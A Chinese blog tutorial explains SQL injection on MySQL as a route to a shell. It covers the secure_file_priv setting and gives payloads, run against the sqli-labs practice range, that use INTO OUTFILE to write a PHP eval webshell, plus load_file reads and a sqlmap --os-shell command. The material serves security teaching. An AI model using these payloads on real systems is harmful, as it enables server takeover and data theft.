sql注入之GETSHELL

2024.2.1

GETSHELL

利用SQL注入获取MYSQL数据库权限的要求:

文件读写基本要求:

  •  是root用户最高权限
  •  知道网站的绝对路径

文件读写注入的原理:

利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

文件读写注入的条件:

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项
secure_file_priv= 代表对文件读写没有限制
secure_file_priv=NULL 代表不能进行文件读写
secure_file_priv=d:/mysql/data 代表只能对该路径下文件进行读写
show global variables like'%secure% 查看mysql全局变量的配置

以下例子均为 sqli-labs-master 靶场环境

手工注入

文件的写入  

基本格式 :

'<文件内容>' into outfile/dumpfile '<待写入文件的绝对路径>'
区别 outfile dumpfile
文件类型 更适用于文本文件 更适用于二进制文件
存储方式 可以写多行 只能写一行
脏数据
可选后缀 作用 示例 结果
无后缀
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\1.php" -- a
lines terminated by '<文本>' 将文本写在最后
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\3.php" lines terminated by '' -- a
lines starting by '<文本>' 将文本写在最前
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\4.php" lines starting by '666' -- a
fields/columns terminated by '<文本>' 设置字段分割符
?id=1' union select 1,2,'<?php @eval($_POST["abc"]); ?>' into outfile "D:\\5.php" fields terminated by '~~' -- a

文件的读取

load_file('<文件的绝对路径>')
?id=-1' union select 1,2,load_file('D:\\1.php') -- a

sqlmap注入

--os-shell
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shell

完成后会在指定位置生成木马文件

相关推荐

  1. Getshell sql注入

    2024-02-02 20:28:03       13 阅读
  2. sql注入union联合注入

    2024-02-02 20:28:03       35 阅读
  3. sql注入字符型注入

    2024-02-02 20:28:03       23 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-02 20:28:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-02 20:28:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-02 20:28:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-02 20:28:03       20 阅读

热门阅读

  1. 如何获取时间戳

    2024-02-02 20:28:03       30 阅读
  2. 浏览器唯一标识(浏览器指纹)fingerprintjs

    2024-02-02 20:28:03       34 阅读
  3. C#实现windows系统重启、关机

    2024-02-02 20:28:03       36 阅读
  4. C# 发送邮件

    2024-02-02 20:28:03       33 阅读
  5. 《Vite 基础知识》基于 Vite 的组件库框架搭建

    2024-02-02 20:28:03       37 阅读
  6. c语言 ceil() 函数

    2024-02-02 20:28:03       29 阅读
  7. 跨域访问支持(Spring Boot、Nginx、浏览器)

    2024-02-02 20:28:03       33 阅读
  8. 手写实现call、apply和bind函数

    2024-02-02 20:28:03       30 阅读
  9. Unity之延迟函数

    2024-02-02 20:28:03       35 阅读